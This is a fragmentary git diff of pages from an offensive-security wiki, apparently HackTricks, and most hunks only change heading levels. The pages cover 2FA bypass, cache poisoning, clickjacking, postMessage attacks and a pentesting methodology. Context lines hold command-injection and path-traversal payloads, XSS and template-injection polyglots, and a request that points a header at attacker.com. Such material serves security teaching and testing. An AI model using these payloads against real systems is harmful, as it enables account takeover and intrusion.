Domains, IPs and emails and get info from dumps. Have some free access. -## [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) +# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) Search by IP and gather information related to suspicions activities. There is some free access. -## [Greynoise](https://viz.greynoise.io/) +# [Greynoise](https://viz.greynoise.io/) Search by IP or IP range and get information about IPs scanning the Internet. 15 days free access. -## [Shodan](https://www.shodan.io/) +# [Shodan](https://www.shodan.io/) Get scan information of an IP address. Have some free api access. -## [Censys](https://censys.io/) +# [Censys](https://censys.io/) Very similar to shodan -## [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) +# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) Find open S3 buckets searching by keyword. -## [Dehashed](https://www.dehashed.com/data) +# [Dehashed](https://www.dehashed.com/data) Find leaked credentials of emails and even domains Commercial? -## [psbdmp](https://psbdmp.ws/) +# [psbdmp](https://psbdmp.ws/) Search pastebins where a email appeared. Commercial? -## [emailrep.io](https://emailrep.io/key) +# [emailrep.io](https://emailrep.io/key) Get reputation of a mail. Commercial? -## [ghostproject](https://ghostproject.fr/) +# [ghostproject](https://ghostproject.fr/) Get passwords from leaked emails. Commercial? -## [Binaryedge](https://www.binaryedge.io/) +# [Binaryedge](https://www.binaryedge.io/) Obtain interesting info from IPs -## [haveibeenpwned](https://haveibeenpwned.com/) +# [haveibeenpwned](https://haveibeenpwned.com/) Search by domain and email and get if it was pwned and passwords. Commercial? diff --git a/other-web-tricks.md b/other-web-tricks.md index 34428ede..90d446dd 100644 --- a/other-web-tricks.md +++ b/other-web-tricks.md @@ -17,30 +17,28 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Other Web Tricks - -### Host header +## Host header Several times the back-end trust the H**ost header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). -### Session booleans +## Session booleans Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). -### Register functionality +## Register functionality Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode). -### Takeover emails +## Takeover emails Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account. -### Access Internal servicedesk of companies using atlassian +## Access Internal servicedesk of companies using atlassian {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} -### TRACE method +## TRACE method Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20) diff --git a/pentesting-methodology.md b/pentesting-methodology.md index b527039b..a0193fce 100644 --- a/pentesting-methodology.md +++ b/pentesting-methodology.md @@ -30,15 +30,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% embed url="https://go.intigriti.com/hacktricks" %} {% endhint %} -## Pentesting Methodology +# Pentesting Methodology ![](<.gitbook/assets/p2 (1).png>) -### 0- Physical Attacks +## 0- Physical Attacks Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](physical-attacks/physical-attacks.md) and others about [**escaping from GUI applications**](physical-attacks/escaping-from-gui-applications/). -### 1 - [Discovering hosts inside the network ](pentesting/pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +## 1 - [Discovering hosts inside the network ](pentesting/pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) **Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). @@ -46,20 +46,20 @@ Do you have **physical access** to the machine that you want to attack? You shou Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. {% endhint %} -### **2-** [**Having Fun with the network**](pentesting/pentesting-network/) **(Internal)** +## **2-** [**Having Fun with the network**](pentesting/pentesting-network/) **(Internal)** **This section only applies if you are performing an internal test.**\ Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting/pentesting-network/#sniffing). -### 3- [Port Scan - Service discovery](pentesting/pentesting-network/#scanning-hosts) +## 3- [Port Scan - Service discovery](pentesting/pentesting-network/#scanning-hosts) The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting/pentesting-network/#scanning-hosts). -### **4-** [Searching service version exploits](search-exploits.md) +## **4-** [Searching service version exploits](search-exploits.md) Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... -### **5-** Pentesting Services +## **5-** Pentesting Services If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** @@ -70,25 +70,25 @@ Also, a small guide on how to[ **find known vulnerabilities in software**](searc **If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). -#### 5.1 Automatic Tools +### 5.1 Automatic Tools There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** -#### **5.2 Brute-Forcing services** +### **5.2 Brute-Forcing services** In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](brute-force.md)**.** -### 6- [Phishing](phishing-methodology/) +## 6- [Phishing](phishing-methodology/) If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): -### **7-** [**Getting Shell**](shells/shells/) +## **7-** [**Getting Shell**](shells/shells/) Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](shells/shells/). Specially in Windows you could need some help to **avoid antiviruses**: \[Check this page]\(windows/av-bypass.md)**.** -### 8- Inside +## 8- Inside If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: @@ -96,13 +96,13 @@ If you have troubles with the shell, you can find here a small **compilation of * [**Windows (CMD)**](windows/basic-cmd-for-pentesters.md) * [**Winodows (PS)**](windows/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](exfiltration.md) +## **9 -** [**Exfiltration**](exfiltration.md) You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](exfiltration.md)**.** -### **10- Privilege Escalation** +## **10- Privilege Escalation** -#### **10.1- Local Privesc** +### **10.1- Local Privesc** If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ Here you can find a **guide to escalate privileges locally in** [**Linux**](linux-unix/privilege-escalation/) **and in** [**Windows**](windows/windows-local-privilege-escalation/)**.**\ @@ -115,44 +115,44 @@ You should also check this pages about how does **Windows work**: **Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +### **10.2- Domain Privesc** Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](windows/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. -### 11 - POST +## 11 - POST -#### **11**.1 - Looting +### **11**.1 - Looting Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ Find here different ways to [**dump passwords in Windows**](windows/stealing-credentials/). -#### 11.2 - Persistence +### 11.2 - Persistence **Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again.**\ **Here you can find some** [**persistence tricks on active directory**](windows/active-directory-methodology/#persistence)**.** TODO: Complete persistence Post in Windows & Linux -### 12 - Pivoting +## 12 - Pivoting With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](tunneling-and-port-forwarding.md).\ You definitely should also check the post about [Active Directory pentesting Methodology](windows/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ Check also the page about [**NTLM**](windows/ntlm/), it could be very useful to pivot on Windows environments.. -### MORE +## MORE -#### [Android Applications](mobile-apps-pentesting/android-app-pentesting/) +### [Android Applications](mobile-apps-pentesting/android-app-pentesting/) -#### **Exploiting** +### **Exploiting** * [**Basic Linux Exploiting**](exploiting/linux-exploiting-basic-esp/) * [**Basic Windows Exploiting**](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) * [**Basic exploiting tools**](exploiting/tools/) -#### [**Basic Python**](misc/basic-python/) +### [**Basic Python**](misc/basic-python/) -#### **Crypto tricks** +### **Crypto tricks** * [**ECB**](cryptography/electronic-code-book-ecb.md) * [**CBC-MAC**](cryptography/cipher-block-chaining-cbc-mac-priv.md) diff --git a/pentesting-web/2fa-bypass.md b/pentesting-web/2fa-bypass.md index 789ff040..61b3bf2c 100644 --- a/pentesting-web/2fa-bypass.md +++ b/pentesting-web/2fa-bypass.md @@ -17,108 +17,106 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# 2FA/OTP Bypass +# **Bypassing two-factor authentication** -## **Bypassing two-factor authentication** - -### **Direct bypass** +## **Direct bypass** Fuck the 2FA, just **try to access the next endpoint directly** (you need to know the path of the next endpoint). If this doesn't work, try to change the **Referrer header** as if you came from the 2FA page. -### **Reusing token** +## **Reusing token** Maybe you can reuse an already used token inside the account to authenticate. -### Sharing unused tokens +## Sharing unused tokens Check if you can get for your account a token and try to use it to bypass the 2FA in a different account. -### Leaked Token +## Leaked Token Is the token leaked on a response from the web application? -### Session permission +## Session permission Using the same session start the flow using your account and the victims account. When reaching the 2FA point with both account, complete the 2FA with your account but do not access the next part. Instead of that, try to access to the next step with the victims account floe. If the back-end only set a boolean inside your sessions saying that you have successfully passed the 2FA you will be able to bypass the 2FA of the victim. -### **Password reset function** +## **Password reset function** In almost all web applications the **password reset function automatically logs the user into the application** after the reset procedure is completed.\ Check if a **mail **is sent with a **link **to **reset the password** and if you can **reuse** that **link **to reset the password as **many times as you want** (even if the victim changes his email address). -### OAuth +## OAuth If you can compromise the account of the user in a trusted **OAuth** platform (Google, Facebook...) -### Brute force +## Brute force -#### Lack of Rate limit +### Lack of Rate limit There is any limit in the amount of codes that you can try, so you can just brute force it. Be careful with a possible "silent" rate-limit, always try several codes and then the real one to confirm the vulnerability. -#### Flow rate limit but no rate limit +### Flow rate limit but no rate limit In this case there is a flow rate limit (you have to brute force it very slowly: 1 thread and some sleep before 2 tries) but no rate limit. So with enough time you can be able to find the valid code. -#### Re-send code reset the limit +### Re-send code reset the limit There is a rate limit but when you "resend the code" the same code is sent and the rate limit is reset. Then, you can brute force the code while you resend it so the rate limit is never reached. -#### Client side rate limit bypass +### Client side rate limit bypass {% content-ref url="rate-limit-bypass.md" %} [rate-limit-bypass.md](rate-limit-bypass.md) {% endcontent-ref %} -#### Lack of rate limit in user's account +### Lack of rate limit in user's account Sometimes you can configure the 2FA for some actions inside your account (change mail, password...). However, even in cases where there was a rate limit when you tried to log in, there isn't any rate limit protecting this actions. -#### Lack of rate limit re-sending the code via SMS +### Lack of rate limit re-sending the code via SMS You want be able to bypass the 2FA but you will be able to waste money of the company. -#### Infinite OTP regeneration +### Infinite OTP regeneration If you can **generate a new OTP infinite times**, the** OTP is simple enough** (4 numbers), and you can try up to 4 or 5 tokens per generated OTP, you can just try the same 4 or 5 tokens every time and generate OTPs until it matches the ones you are using. -### CSRF/Clickjacking +## CSRF/Clickjacking Check if there is a CSRF or a Clickjacking vulnerability to disable the 2FA. -### Remember me functionality +## Remember me functionality -#### Guessable cookie +### Guessable cookie If the remember me functionality uses a new cookie with a guessable code, try to guess it. -#### IP address +### IP address If the "remember me" functionality is attached to your IP address, you can try to figure out the IP address of the victim and impersonate it using the **X-Forwarded-For** header. -### Older versions +## Older versions -#### Subdomains +### Subdomains If you can find some "testing" subdomains with the login functionality, they could be using old versions that don't support 2FA (so it is directly bypassed) or those endpoints could support a vulnerable version of the 2FA. -#### Apis +### Apis If you find that the 2FA is using an API located under a /v\*/ directory (like "/v3/"), this probably means that there are older API endpoints that could be vulnerable to some kind of 2FA bypass. -### Previous sessions +## Previous sessions When the 2FA is enabled, previous sessions created should be ended.This is because when a client has his account compromised he could want to protect it activating the 2FA, but if the previous sessions aren't ended, this won't protect him. -### Improper access control to backup codes +## Improper access control to backup codes Backup codes are being generated immediately after 2FA is enabled and are available on a single request. After each subsequent call to the request, the codes can be regenerated or remain unchanged (static codes). If there are CORS misconfigurations/XSS vulnerabilities and other bugs that allow you to “pull” backup codes from the response’ request of the backup code endpoint, then the attacker could steal the codes and bypass 2FA if the username and password are known. -### Information Disclosure +## Information Disclosure If in the 2FA page appears some confidential information that you didn't know previously (like the phone number) this can be considered an information disclosure vulnerability. -### **Password-Reset == disable 2fa** +## **Password-Reset == disable 2fa** 1. Create an Account and Turn On 2FA. 2. Logout from that account. @@ -127,7 +125,7 @@ If in the 2FA page appears some confidential information that you didn't know pr 5. Now try to log in. 6. If you are not asked to enter a 2FA code, You can report. -## References +# References {% embed url="https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35" %} diff --git a/pentesting-web/abusing-hop-by-hop-headers.md b/pentesting-web/abusing-hop-by-hop-headers.md index 224c0bde..96613de8 100644 --- a/pentesting-web/abusing-hop-by-hop-headers.md +++ b/pentesting-web/abusing-hop-by-hop-headers.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Abusing hop-by-hop headers - -## What is a hop-by-hop header? +# What is a hop-by-hop header? A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header. @@ -31,13 +29,13 @@ Further to these defaults, a request [may also define a custom set of headers to Connection: close, X-Foo, X-Bar ``` -## The theory on abusing hop-by-hop headers +# The theory on abusing hop-by-hop headers In theory, proxies should remove hop-by-hop headers received before sending them to the next address. But you can find in the wild that this is done by some proxies and others just send all the headers adding its own `Connection`header. ![](<../.gitbook/assets/image (138).png>) -## Testing hop-by-hop deletions +# Testing hop-by-hop deletions If you find a header that makes the response of the server changes if it is set of if it is not, then you can search for hop-by-hop deletions. For example, the cookie header will make the response of the server to be dramatically different if it is set (with a valid content) and if it is not. @@ -51,24 +49,24 @@ for HEADER in $(cat headers.txt); do python poison-test.py -u "https://target" - This will cycle through the entire header list and print out if its presence in the hop-by-hop list created a different status code or response body size. -## Abusing X-Forwarded-For +# Abusing X-Forwarded-For In general, proxies will add the IPs of the clients inside the `X-Forwarded-For` header so the next hop will know where does the petition comes from. However, if an attacker sends a Connection value like `Connection: close, X-Forwarded-For` and the first proxy sends the hop-by-hop headers with their values (it sends the special Connection value), then the second value may delete the X-Forward-For header.\ At the end, the final App won't know who sent the request and may think that it was the last proxy, and is this scenario an attacker may be able to access resources protected by IP whitelisting (maybe some `/admin` ?). Depending on the system being targeted, you may also have `Forwarded`, `X-Real-IP`, and a bunch of others that are less common. -## Detecting Proxies and fingerprinting services +# Detecting Proxies and fingerprinting services This technique may be useful to detect proxies (using the cookie technique) or even to detect services. For example, if you abuse this technique to delete the header `X-BLUECOAT-VIA` and an error is thrown, then you have find that Bluecoat was being used. -## Other Attacks +# Other Attacks * For a possible DoS Cache poisoning abusing this technique read the original link * This could be useful in attacks that may allow you to insert new headers (low probability) * Also,it could be useful to bypass defensive functionalities. For example, if the lack of a header means that a request shouldn't be processed by a WAF, you could bypass a WAF with this technique. -## References +# References {% embed url="https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers" %} diff --git a/pentesting-web/bypass-payment-process.md b/pentesting-web/bypass-payment-process.md index c998ce00..98b42543 100644 --- a/pentesting-web/bypass-payment-process.md +++ b/pentesting-web/bypass-payment-process.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Bypass Payment Process - 1. It is preferable to choose **PayPal** or **CoinPayments** as a payment method 2. Intercept all requests, you may find a parameter called _**Success**_ or _**Referrer**_ or _**Callback**_ 3. If the value inside the parameter has a URL like this _**example.com/payment/MD5HASH**_ for example diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md index 6bc6e809..802415ba 100644 --- a/pentesting-web/cache-deception.md +++ b/pentesting-web/cache-deception.md @@ -17,23 +17,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Cache Poisoning and Cache Deception - -## The difference +# The difference > **What is the difference between web cache poisoning and web cache deception?** > > * In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. > * In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. -## Cache Poisoning +# Cache Poisoning The goal of poisoning the cache is to make the **clients load unexpected resources partially or totally controlled by the attacker**.\ The poisoned response will only be served to users who visit the affected page while the cache is poisoned. As a result, the impact can range from non-existent to massive depending on whether the page is popular or not. In order to perform a cache poisoning attack you need first to **identify unkeyed inputs** (parameters not needed to appear on the the cached request but that change the returned page), see **how to abuse** this parameter and **get the response cached**. -### Identify and evaluate unkeyed inputs +## Identify and evaluate unkeyed inputs You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load script from there: @@ -41,11 +39,11 @@ You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca0 ``` -### Elicit a harmful response from the back-end server +## Elicit a harmful response from the back-end server With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it any any way (perform a XSS or load a JS code controlled by you? perform a DoS?...) -### Get the response cached +## Get the response cached Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it you need to get the page cached. Depending on the resource you are trying to get in the cache this could time more or less time and some times you just will need to be trying several seconds.\ The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ @@ -55,9 +53,9 @@ One more header related to the cache is **`Age`**. It defines the times in secon When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. -## Examples +# Examples -### Easiest example +## Easiest example A header like `X-Forwarded-For` is being reflected in the response unsanitized>\ You can send a basic XSS payload and poison the cache so everybody that access page will be XSSed: @@ -70,7 +68,7 @@ X-Forwarded-Host: a.">" _Note that this will poison a request to `/en?region=uk` not to `/en`_ -### Using web cache poisoning to exploit cookie-handling vulnerabilities +## Using web cache poisoning to exploit cookie-handling vulnerabilities Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response. @@ -82,7 +80,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. -### Using multiple headers to exploit web cache poisoning vulnerabilities +## Using multiple headers to exploit web cache poisoning vulnerabilities Some time you will need to **exploit several ukneyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as domain name for the redirect. You can control where the pagepointed by the redirect. @@ -93,7 +91,7 @@ X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Exploiting with limited `Vary`header +## Exploiting with limited `Vary`header If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`** . Then, you need to find a way to ex-filtrate the User-Agent of the victim and poison the cache using that user agent: @@ -104,11 +102,11 @@ User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM X-Host: attacker.com ``` -### Exploiting HTTP Cache Poisoning abusing HTTP Request Smuggling +## Exploiting HTTP Cache Poisoning abusing HTTP Request Smuggling Learn here about how to perform [Cache Poisoning attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). -## Cache Deception +# Cache Deception The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. @@ -122,7 +120,7 @@ Note that the **cache proxy** should be **configured** to **cache** files **base Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). -## References +# References * [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) * [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) diff --git a/pentesting-web/captcha-bypass.md b/pentesting-web/captcha-bypass.md index 2c3e1a9a..60e8ae1a 100644 --- a/pentesting-web/captcha-bypass.md +++ b/pentesting-web/captcha-bypass.md @@ -19,8 +19,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) # Captcha Bypass -## Captcha Bypass - To **automate** the **testing** of some functions of the server that allows user input it **could** be **needed** to **bypass** a **captcha** implementation. Test these things: * **Do not send the parameter** related to the captcha. diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index b2f8d382..be0e6cc9 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -17,21 +17,19 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Clickjacking - -## What is Clickjacking +# What is Clickjacking Clickjacking is an attack that **tricks** a **user** into **clicking** a webpage **element** which is **invisible** or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. (From [here](https://www.imperva.com/learn/application-security/clickjacking/)). -### Prepopulate forms trick +## Prepopulate forms trick Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behaviours to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit. -### Populate form with Drag\&Drop +## Populate form with Drag\&Drop If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like your email or and specific password that you know), you can just ask him to **Drag\&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). -### Basic Payload +## Basic Payload ```markup ">'> ``` -## [Client Side Template Injection](../client-side-template-injection-csti.md) +# [Client Side Template Injection](../client-side-template-injection-csti.md) -### Basic Tests +## Basic Tests ``` {{7*7}} [7*7] ``` -### Polygloths +## Polygloths ```bash {{7*7}}[7*7] ``` -## [Command Injection](../command-injection.md) +# [Command Injection](../command-injection.md) -### Basic Tests +## Basic Tests ```bash ;ls @@ -101,16 +99,16 @@ javascript:"/*'/*`/*-->

THIS IS AND INJECTED TITLE

``` -## [File Inclusion/Path Traversal](../file-inclusion/) +# [File Inclusion/Path Traversal](../file-inclusion/) -### Basic Tests +## Basic Tests ```bash /etc/passwd @@ -144,9 +142,9 @@ http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php ``` -## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/) +# [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/) -### Basic Tests +## Basic Tests ```bash www.whitelisted.com @@ -156,9 +154,9 @@ https://google.com javascript:alert(1) ``` -## [ReDoS](../regular-expression-denial-of-service-redos.md) +# [ReDoS](../regular-expression-denial-of-service-redos.md) -### Basic Tests +## Basic Tests ```bash (\\w*)+$ @@ -166,9 +164,9 @@ javascript:alert(1) ((a+)+)+$ ``` -## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md) +# [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md) -### Basic Tests +## Basic Tests ```markup @@ -177,19 +175,19 @@ javascript:alert(1) x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` -### Polygloths +## Polygloths ```markup x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` -## [Server Side Request Forgery](../ssrf-server-side-request-forgery/) +# [Server Side Request Forgery](../ssrf-server-side-request-forgery/) The same tests used for Open Redirect can be used here. -## [Server Side Template Injection](../ssti-server-side-template-injection/) +# [Server Side Template Injection](../ssti-server-side-template-injection/) -### Basic Tests +## Basic Tests ```markup ${{<%[%'"}}%\ @@ -200,30 +198,30 @@ ${{7*7}} #{7*7} ``` -### Polygloths +## Polygloths ```python {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ ``` -## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) +# [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) -### Basic Tests +## Basic Tests ```markup ``` -### Polygloths +## Polygloths ```markup ``` -## XSS +# XSS -### Basic Tests +## Basic Tests ```markup " onclick=alert() a=" @@ -231,7 +229,7 @@ ${{7*7}} javascript:alert() ``` -### Polygloths +## Polygloths ```markup javascript:"/*'/*`/*--> diff --git a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md index f9dce6b6..4bde4031 100644 --- a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md +++ b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Web Vulns List - ```python {{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} diff --git a/pentesting-web/postmessage-vulnerabilities.md b/pentesting-web/postmessage-vulnerabilities.md index 953c2e47..b410eb3f 100644 --- a/pentesting-web/postmessage-vulnerabilities.md +++ b/pentesting-web/postmessage-vulnerabilities.md @@ -16,9 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## PostMessage Vulnerabilities -### Send **PostMessage** +# Send **PostMessage** **PostMessage** uses the following function to send a message: @@ -43,7 +42,7 @@ Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._\ \_\_In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\ If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object. -#### Attacking iframe & wilcard in **targetOrigin** +## Attacking iframe & wilcard in **targetOrigin** As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\ Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**. @@ -64,7 +63,7 @@ Note that if the page can be iframed but the **targetOrigin** is **set to a URL ``` -### addEventListener exploitation +# addEventListener exploitation **`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\ A code similar to the following one will be used: @@ -80,7 +79,7 @@ window.addEventListener("message", (event) => { Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example). -#### Enumeration +## Enumeration In order to **find event listeners** in the current page you can: @@ -95,7 +94,7 @@ In order to **find event listeners** in the current page you can: * Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you. -#### addEventListener check origin bypasses +## addEventListener check origin bypasses * If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\ * If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\ @@ -115,7 +114,7 @@ result.message; // "'"\" `File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function. -#### X-Frame-Header bypass +## X-Frame-Header bypass In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\ In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it: @@ -127,7 +126,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000); ``` -#### postMessage 